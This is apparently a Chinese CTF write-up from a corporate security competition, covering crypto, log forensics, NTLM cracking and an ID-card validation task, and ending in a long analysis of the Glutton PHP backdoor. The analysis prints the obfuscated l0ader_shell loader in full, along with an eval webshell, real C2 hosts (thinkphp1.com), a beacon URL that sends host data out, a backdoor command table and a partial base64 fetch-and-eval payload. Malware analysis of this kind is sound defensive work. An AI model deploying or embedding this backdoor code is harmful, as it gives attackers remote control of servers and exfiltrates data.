2025年某交通国企内部网络安全比武 部分WriteUp

想喝🍋芭乐气泡果汁了捏 🍹~( ̄▽ ̄)

CRYPTO

part1:很明显的SM4算法

import binascii
from gmssl import sm4

def sm4_decode(key, data):
    sm4Alg = sm4.CryptSM4()  # Initialize SM4
    sm4Alg.set_key(key.encode(), sm4.SM4_DECRYPT)  # Set decryption key

    # Decrypt (ECB mode, no padding)
    ciphertext = binascii.unhexlify(data)  # Hex → bytes
    plaintext = sm4Alg.crypt_ecb(ciphertext)  # Decrypt

    # Return hex string
    return plaintext.hex()

def test():
    key = 'E1A90FB64DDE12AE'
    enHexRes = "06d7e65a973111b8a64c72150a27f61e"
    decrypted = sm4_decode(key, enHexRes)
    print("Decrypted (hex):", decrypted)

test()

然后解密hex即可得到第一部分

part2:明文 M​ 的构造方式泄露了私钥 p​ 的信息

from Crypto.Util.number import *
import gmpy2

c = int('1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df', 16)
n = int('c2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069', 16)
e = int('10001', 16)

p = gmpy2.gcd(c, n)
q = n // p

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

M = pow(c, d, n)

k = 2022 * 1011
m = M // (k * p)

print("Recovered m:", m)
print("Flag:", long_to_bytes(m).decode())

解密得到part2

WEB

攻击分析-1

打开日志很明显是目录扫描日志:

asynccode

攻击分析-2

asynccode

发现shell:img_5780.php

asynccode

往前翻阅日志,搜索img_5780.php

发现前一个POST为index.php

asynccode

flag{/upload/index.php&/upload/images/img_5780.php}

攻击分析-3

继续翻日志:

asynccode

asynccode

FORENSICS

WEBSHELL

冰蝎4.0流量,密钥可以搜索到04dac8afe0ca5015

asynccode

asynccode

asynccode

asynccode

Mem

使用lovelymem打开

asynccode

打开net.csv 查看相关net情况 发现存在异常端口

asynccode

即为10.112.77.140 8899

Ntlm

给出pass.txt 使用hashcat进行爆破 使用pass.txt为字典

hashcat -m 1000 "b31c6aa5660d6e87ee046b1bb5d0ff79" pass.txt

asynccode

PPC

数据泄露

提供的数据文件说明

  • 网站内存储文件:公民信息(user.csv)
  姓名,  住宅电话,       身份证,       年龄,   家庭住址,            性别
杨兰英, 15797298182 ,520330194910209167,75,贵州省遵义市习水县农贸巷999号,女
  • 说明:以上是一个公民信息(user.csv)中的内容格式,其中包含姓名、住宅电话、身份证、年龄、家庭住址、性别等。
  • 辅助信息资源
  • 省市对照表(省市对照.xlsx) :包含各省及其对应的下属城市信息,可用于识别或还原可能涉及的地理区域。
  • 身份证地区编号对照表(地区编号对照.csv) :包含身份证前6位与地区对应关系,用于还原公民身份中涉及的地区信息。

身份证规则说明

身份证号(idcard)

身份证号的⻓度为 18 位,分别是六位数字地址码、八位数字出生日期码、三位数字顺序码和最后一位数字校验码。

前1-6位:地址码

  • 第1-2位:省(自治区、直辖市)代码
  • 第3-4位:地级市(盟、自治州)代码
  • 第5-6位:县(市、区、旗)代码
  • 例如,地址码“110101”表示北京市东城区。

第7-14位:出生日期码

  • 采用“YYYYMMDD”格式,分别表示出生的年份、月份和日期。
  • 例如,“19900101”表示1990年1月1日出生,年龄计算以 2024年11月30日为基准,超过该日期也截止计算。
  • 其年龄计算规则如下:

    例:520330194910209167为1949年10月20日出生。

    1949年10月20日到2024年10月20日是75年,已度过生日,所以年龄为75岁。

    例:110101199312214859为1993年12月21日出生。

    1993年12月21日到2024年12月21日是31年,年龄计算基准以2024年11月30日截止计算,未度过生日,所以年龄为30岁。

第15-17位:顺序码

  • 在同一地址码区域内,同年同月同日出生的人区分顺序的编号。
  • 第17位:性别标识码,奇数表示男性,偶数表示女性。
  • 例如:顺序码“001”表示该区域内第1个出生者,且为男性。

第18位:校验码

  1. 将身份证号码前17位数字分别乘以不同的系数。从第一位到第十七位的系数分别是: 7-9-10-5-8-4-2-1-6-3-7-9-10-5-8-4-2。
  2. 将这 17 位数字和系数相乘的结果相加。
  3. 用加出来的和除以11,得到余数。
  4. 余数对应规则:
  5. 例如:身份证前17位为11010119931221485​,系数相乘的结果相加为:

1*7+1*9+0*10+1*5+0*8+1*4+1*2+9*1+9*6+3*3+1*7+2*9+2*10+1*5+4*8+8*4+5*2=223,223mod11=3​,根据(04)中的对照规则,其最后一位应为 9。

作答要求:

请根据给定的公民信息文件结合辅助信息资源校验身份证信息,匹配出正确的身份证号,并按照身份证号中的出生年月日进行排序(按照年龄从大到小进行排序)。(提交格式:flag{身份证1_身份证2_身份证3}​,举例:flag{110101198012078336_110101199312214859_110101200703169552}​)

正确示例:

蔡桂花,18767876787,110101199312214859,30,北京市东城区大马路123号,男
  • 说明:身份证地址为110101开头,即北京市东城区,符合身份证家庭住址地区(北京市东城区),此人为1993年12月21日出生,未度过生日,今年30岁,并且身份证性别为男和给定的公民信息文件对应

错误示例:

蔡桂花,18767876787,110101198011078326,56,四川省德阳市旌阳区大马路123号,男
  • 说明:身份证地址为110101开头,即北京市东城区,不符合身份证家庭住址地区(四川省德阳市旌阳区),此人为1980年11月7日出生,已度过生日,今年44岁,并且身份证性别为女和给定的公民信息文件对应不上,校验码也错误
import pandas as pd
import re
from datetime import datetime

# 加载数据
user_df = pd.read_csv('user.csv')
region_df = pd.read_csv('地区编号对照.csv', header=None, names=['地址编号', '地址'])
province_city_df = pd.read_excel('省市对照.xlsx')

# 预处理地区编号数据
region_df[['省', '市', '县']] = region_df['地址'].str.extract(r'(.+省)(.+市)(.+)', expand=True)
region_df['省'] = region_df['省'].str.replace('省', '')
region_df['市'] = region_df['市'].str.replace('市', '')

# 身份证校验系数
WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
CHECK_CODES = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']

# 基准日期
REF_DATE = datetime(2024, 11, 30)

def validate_idcard(row):
    try:
        # 提取信息
        idcard = str(row['身份证']).strip()
        age = row['年龄']
        address = row['家庭住址']
        gender = row['性别']

        # 基本格式检查
        if len(idcard) != 18 or not idcard[:17].isdigit():
            return False

        # 1. 地址码验证
        region_code = idcard[:6]
        region_info = region_df[region_df['地址编号'] == region_code]
        if region_info.empty:
            return False

        # 检查地址是否匹配
        province = region_info.iloc[0]['省']
        city = region_info.iloc[0]['市']

        if province not in address or city not in address:
            return False

        # 2. 出生日期验证
        birth_date_str = idcard[6:14]
        try:
            birth_date = datetime.strptime(birth_date_str, '%Y%m%d')
        except:
            return False

        # 计算年龄
        age_diff = REF_DATE.year - birth_date.year
        if (REF_DATE.month, REF_DATE.day) < (birth_date.month, birth_date.day):
            age_diff -= 1

        if age_diff != age:
            return False

        # 3. 性别验证
        gender_code = int(idcard[16])
        if (gender == '男' and gender_code % 2 == 0) or (gender == '女' and gender_code % 2 == 1):
            return False

        # 4. 校验码验证
        total = sum(int(a) * b for a, b in zip(idcard[:17], WEIGHTS))
        check_code = CHECK_CODES[total % 11]
        if idcard[17].upper() != check_code:
            return False

        return True
    except Exception as e:
        print(f"验证过程中出错: {e}")
        return False

# 筛选有效身份证
valid_ids = user_df[user_df.apply(validate_idcard, axis=1)]['身份证'].tolist()

# 按出生日期排序
def get_birth_date(idcard):
    return idcard[6:14]

valid_ids_sorted = sorted(valid_ids, key=get_birth_date)

# 格式化输出
result = '_'.join(valid_ids_sorted)
print(f'flag{{{result}}}')

PENTEST

APK

asynccode

ezphp

PHP特性

asynccode

OSINT

纯理论

The Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍

黑白通吃:Glutton木马潜伏主流PHP框架,隐秘侵袭长达1年

以请求C2 cc.thinkphp1[.]com​做为被感染的标识,从我们的数据来看,受害者主要分布在中美俩地,涉及信息传输,商务服务,社会保障等行业。

image

在我们的溯源过程中,还发现了一个有意思的现象,Glutton的作者专门针对黑灰产的生产系统投毒,意图进行黑吃黑。时间回到2024年7月,我们以"b11st=0;"特征在VirusTotal进行狩猎,先后发现了5个被感染的文件,由不同的国家上传到VT。

Index MD5 DETECTION FIRST SEEN Country
1 3f8273575d4c75053110a3d237fda32c 2/65 2024.08.11 China
2 c1f6b7282408d4dfdc46e22bbdb3050f 0/59 2024.09.17 Germary
3 96fef42b234920f3eacfe718728b08a1 0/63 2024.10.14 SINGAPORE
4 ad150541a0a3e83b42da4752eb7e269b 1/62 2024.11.02 UNITED STATES
5 ad0d88982c7b297bb91bb9b4759ce0ab 4/41 2024.11.27 UNITED STATES

其中编号1,2,3是单个PHP文件;编号4,5为压缩包,包含一套完整的业务系统。它们之中最特别的是编号4,它是一套网络诈骗常用的刷单抢单系统,恶意代码l0ader_shell位于thinkphp框架中的APP.php。

l0ader_shell

分析一下l0ader_shell部分

 Hook::listen('app_init');
 ;$b11st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[54]])?$l1i=@$r[$f[54]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[55]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[22])?@$f[22]():-1;$cli=($f[13]()==$f[60]);$os=$f[25]($f[62])?$f[26]($f[62]):$f[45];$sfile=$f[48];$sfile[2]='s';$sfile[3]='e';$sfile=$f[21]().$sfile;$pfile=$f[21]().$f[48];if( $f[8]($f[6]($os,0,3))==$f[61] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[64]])?$s[$f[64]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[63]]?:$hu):$hu;};$hid = @$f[29]($f[18]($sfile.$f[58]));$pid = @$f[29]($f[18]($sfile.$f[59]));$pwd = $cli?$f[28]():$s[$f[65]];$extra=$cli?$f[27]($f[66]):@$s[$f[67]];$extra=$extra?$f[6]($extra,0,1024):$f[45];$hv=substr($f[14](),0,128);$uri=@$s[$f[70]];$uri=$uri?$f[6]($uri,0,128):$f[45];$rdata=array(chr(22),$os,$f[16](),$hv,$uid,$hu,$hid,$pid?:$f[29]("5474"),$f[13](),$f[15](),$pwd,@$s[$f[68]],@$s[$f[69]],$uri,$extra);$tf=$pfile.$f[56].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[24]()+7200)>0);@$f[23]($tf,0666);if($f[12]($f[20])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[20]($f[1]($f[51]),$e1s, $e2s,5),$f[49].$f[50].$ud);}if(!$ok)return;$tf=$pfile.$f[55].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[46]))>0){@include_once($pfile);}else{@$f[38]($a[0]);return;};@$f[38]($a[0]);$gz=$f[12]($f[30]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[29]($f[18]($sfile.$f[58]));$rdata[7]=@$f[29]($f[18]($sfile.$f[59]));$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));$data=@$f[18]($f[1]($f[52]).$d);if($data && $gz)$data=@$f[30]($data);if($data)@$f[47]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[33]);$pid=-1;if($f[12]($f[32]))$pid=$f[32]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[33]($pid,$s);}if($hwai && $f[32]() )die;if($f[12]($f[34]))@$f[34]();if($f[12]($f[35]))@$f[35]($f[1]($f[74]));try{if($f[25]($f[75]))@$f[36]($f[26]($f[75]));if($f[25]($f[76]))@$f[36]($f[26]($f[76]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[24]()>$nt0){$nt0=$f[24]()+3600;@$f[19]($tf,$f[24]()+7200);@$go(4);}$f[37](60);}while(1);die;}else{$f[39](true);$f[40](function() use($f,$go){$f[41](function(){});$f[42](0);if($f[12]($f[43])){$f[43]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b11ed=0;

这段webshell核心步骤为$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);​将 $sl​ 十六进制数字定义的数组分成 4 个字节转换为字符,然后解码后的字符串被存储在 $f​ 中。通过 $f[index]​ 调用了 PHP 内置函数

下面我们对上面webshell进行解密:

我们追踪一下$check​函数:

$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];

如果 self::$routeCheck​ 非空,则 $check​ 取其值;否则取 $config['url_route_on']​,相当于控制 Webshell 执行流程的一个开关,最终会影响 @$l0ader(true)​ 的执行。

Webshell执行逻辑:

if ($check && !@$r[$f[53]] && $f[24]() < @$f[29]($f[18]($tf))) return;
$ok = (@$f[19]($tf, $f[24]() + 7200) > 0);

检查 $tf​ 文件是否在有效时间范围内(当前时间小于文件时间戳),并设置有效期为 2小时​。如果 $check​ 条件满足且时间戳验证不过,则代码将提前返回;如果时间戳检查通过,则代码依赖 $go​ 函数继续运行

webshell的持久化

if ($cli) {
    $hwai = $f[12]($f[33]);
    if ($hwai && $f[32]()) die;
    if ($f[12]($f[34])) @$f[34]();
    do {
        @$go(4);
        $f while (1);
    die;
} else {
    @$f[38]($a[0]);
}

如果在 CLI 模式下调用 $go​ 执行任务,每 60 秒循环一次,实现持久化控制。

$go​函数:

$go = function ($lv) use ($f, $gz, $rdata, $sfile) {
    try {
        $rdata[6] = @$f[29]($f[18]($sfile . $f[58]));
        $rdata[7] = @$f[29]($f[18]($sfile . $f[59]));
        $d = @$f[31](array(
            $f[73] => $f[50] . $f[3](chr(0), $rdata),
            $f[71] => $lv,
            $f[72] => $gz,
            $f[57] => $f[24]()
        ));
        $data = @$f[18]($f[1]($f[52]) . $d);
        if ($data && $gz) $data = @$f[30]($data);
        if ($data) @$f[47]($data);
        return true;
    } catch (\Exception $e) {
    } catch (\Throwable $e) {
    }
};

跳转到$lv

$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));

文件操作与回调:

if (@$f[19]($a[0], $f[1]($f[46])) > 0) {
    @include_once($pfile);
} else {
    @$f[38]($a[0]);
    return;
}

所以我们关键就是解码 $sl​ 数组,以获得 $f​ 内容。

按照逻辑编写PHP解密脚本:

<?php
$sl = [0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000];
$r = '';

foreach ($sl as $d) {
    $decoded = chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);
    $r .= $decoded . "\n";
}

echo $r;
?>

image

后面还有base64,解密一下:

image

一个shell:

<?php 
if(!function_exists("__run_code_x20")) {
    function __run_code_x20($c) {
        $d = eval($c);
        $a=array($d);
        return array_shift($a);
    }
};

以及解密出的域名

image

image

此外:

image

应该是 Linux 系统中内核工作线程(Kernel Worker Thread)的一个标识

webshell最后是其保护机制:

set_error_handler(function() {});
$error1 = error_reporting();
error_reporting(0);
try {
    @$l0ader(true);
} catch (\Exception $e) {}
error_reporting($error1);
restore_error_handler();

屏蔽错误输出,将所有错误报告设置为 0,防止调试信息泄露。

Glutton's client_task

PHP后门

根据域名,我们进行反查样本,发现Glutton webshell的client_task​模块

image

image

image

和我们之前PHP解密内容相符

其中,client_socket​类将C2地址明文写入

class client_socket
{
    public $show_log=0;
    public $support_udp=1;

    private $socket_handle=null;
    private $is_tcp=false;
    protected $sid=0;
    protected $server_id=0;

    public $sleep_mode=0;
    private $config_keepalive_time=60;

    private $__last_send_time=0;
    private $__last_recv_time=0;

    public $tcp_uri='tcp://cc.thinkphp1.com:9501';
    public $udp_uri='udp://cc.thinkphp1.com:9501';

    private $__cache_packet=array();
    public function login($use_tcp=null)
    {
        $this->sid=0;

        if($use_tcp===null)
        {
            if(!$this->touch())return false;
        }else
        {
            $this->close();
            if(!$this->connect($use_tcp))return false;
            $this->set_timeout(5);          
        }
        $this->set_timeout(10);
        if(!$this->send_packet(10,s2go_make_login_packet(),false))return false;

        $packet=$this->read_packet();
        if(!$packet || $packet['cmd']!=148)
        {
            $this->log_msg("login return !cmd_config");
            $this->close();
            return false;
        }
        $this->process_packet($packet);

        if($this->sid>0)
        {
            $this->log_msg("login success,tcp={$this->is_tcp},sid={$this->sid},server_id={$this->server_id}");
        }

        return $this->sid>0;
    }

client_v1​类继承client_socket​,通过process_std_cmd_v1​类处理C2下发的指令。


class client_v1 extends client_socket
{
    public $std_method;
    public $is_winnt=false;

    public function __construct() {
        $this->std_method=new process_std_cmd_v1();
        $this->is_winnt=(substr(strtolower(PHP_OS),0,3)=='win');
    }

image

通过控制$cmd​来执行操作,如获取文件夹名称、获取当前文件列表、创建文件夹等,我们可以批量查找$cmd==​来确定其功能,注意if else循环

这个php后门支持22个不同的指令,以下为指令号以及对应的功能。

ID Function
1 ping(udp only)
2 pong(udp only)
10 login
31 keepalive
148 set connection config
149 switch connection to tcp
150 switch connection to udp
151 shell
152 upload/download file via tcp
189 get_temp_dir
190 scandir
191 get dir info
192 mkdir
193 write file
194 read file
195 create file
196 rm
197 copy file
198 rename file
199 chmod
200 chown
201 eval php code

通过劫持到的通信样本,我们可以分析其主动向服务器发送的信息:

http://v20.thinkphp1.com:80/v20/save?host_id=6144&host_uid=-1&sapi_name=cli&php_version=5.4.16&host_version=Linux+localhost+3.10.0-862.el7.x86_64+%231+SMP+Fri+Apr+20+16%3A44%3A24+UTC+2018+x86_64&host_os=Linux&host_name=localhost

发现含有 host_id​ 、host_uid​ 、 php_version​ 、 host_version​ 、 host_os​ 、 host_name

private function fetch_code_and_run()
{
    if(time()<$this->next_fetch_time)return '';
    $this->next_fetch_time=time()+3600;
    if(function_exists("exec"))exec("ps -ef|grep kworker/0:0HN |grep -v grep|awk '{print $2}'|xargs kill");

    if( $this->fetch_task->run_in_fork() )return true;

    $code='aWYoIWNsYXNzX2V4aXN0cygiZmV0Y2hfdGFzayIpKQ0Kew0KICAgIGNsYXNzIGZldGNoX3Rhc2sNCiAgICB7DQogICAgICAgIHByaXZhdGUgJGlzX3Jvb3Q9ZmFsc2U7DQoNCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJHRoaXMtPmlzX3Jvb3Q9KCR1aWQ9PT0wKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIHJ1bl9pbl9mb3JrKCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygicGNudGxfZm9yayIpIHx8ICFmdW5jdGlvbl9leGlzdHMoInBjbnRsX3dhaXRwaWQiKSApcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICAgICAkY29kZT0kdGhpcy0+ZmV0Y2goKTsNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3Rhc2tfdGltZV9maWxlKHRydWUpOw0KICAgICAgICAgICAgaWYoISRjb2RlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcGlkPXBjbnRsX2ZvcmsoKTsNCiAgICAgICAgICAgIGlmKCRwaWQ9PTApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYocGNudGxfZm9yaygpKWV4aXQoMCk7DQogICAgICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH1jYXRjaChcRXhjZXB0aW9uICRlKXskdGhpcy0+cG9zdF9lcnJvcigkZSk7fWNhdGNoKFxUaHJvd2FibGUgJGUpeyR0aGlzLT5wb3N0X2Vycm9yKCRlKTt9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH1lbHNlIGlmKCRwaWQ+MCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwY250bF93YWl0cGlkKCRwaWQsJHMpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZSBpZigkcGlkPDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5fc3RhdGljKCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRhc2s9bmV3IGZldGNoX3Rhc2soKTsNCiAgICAgICAgICAgICRjb2RlPSR0YXNrLT5mZXRjaCgpOw0KI